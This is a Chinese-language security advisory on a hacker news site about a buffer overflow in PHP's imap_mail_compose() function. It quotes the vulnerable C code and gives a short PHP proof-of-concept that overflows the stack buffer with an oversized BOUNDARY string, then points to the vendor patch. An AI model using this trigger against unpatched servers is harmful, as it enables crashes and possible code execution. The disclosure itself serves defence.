黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客新闻 >> 漏洞公告 >> 新闻正文
[推荐]PHP imap_mail_compose()函数缓冲区溢出漏洞
        ★★★★
PHP imap_mail_compose()函数缓冲区溢出漏洞
新闻整理发布:黑客风云 新闻来源:www.05112.com 更新时间:2007-4-5
受影响系统: 
PHP PHP 5 < 5.2.1
PHP PHP 4 < 4.4.5
描述: 

BUGTRAQ  ID: 23234

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的imap_mail_compose()函数实现上存在缓冲区溢出漏洞,本地攻击者可能利用此漏洞提升权限。

imap_mail_compose()函数在名为tmp的栈缓冲区中创建固定大小的多部邮件:

PHP_FUNCTION(imap_mail_compose)
{
    ...
    char tmp[8 * MAILTMPLEN], *mystring=NULL, *t=NULL, *tempstring=NULL;

在创建多部消息时首先要从输入参数中读取BOUNDARY,然后未经任何大小检查便使用sprintf调用将输入参数拷贝到了栈缓冲区:

    if (bod && bod->type == TYPEMULTIPART) {

        /* first body part */
            part = bod->nested.part;

        /* find cookie */
            for (param = bod->parameter; param && !cookie; param = param->next) {
                if (!strcmp (param->attribute, "BOUNDARY")) {
                    cookie = param->value;
                }
            }

        /* yucky default */
            if (!cookie) {
                cookie = "-";
            }

        /* for each part */
            do {
                t=tmp;
            /* build cookie */
                sprintf (t, "--%s%s", cookie, CRLF);

这允许覆盖缓冲区,导致执行任意指令。

<*来源:Stefan Esser (s.esser@ematters.de)
  
  链接:http://www.php-security.org/MOPB/MOPB-40-2007.html
*>

测试方法: 


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php

$envelope["from"]= "joe@example.com";
$envelope["to"]  = "foo@example.com";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";
$part1["type.parameters"] = array("BOUNDARY" => str_repeat("A",8192));

$part2["type"] = TYPETEXT;
$part2["subtype"] = "plain";
$part2["description"] = "description3";
$part2["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;

imap_mail_compose($envelope, $body);

?>

建议: 

厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net
新闻录入:liult    责任编辑:liult 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886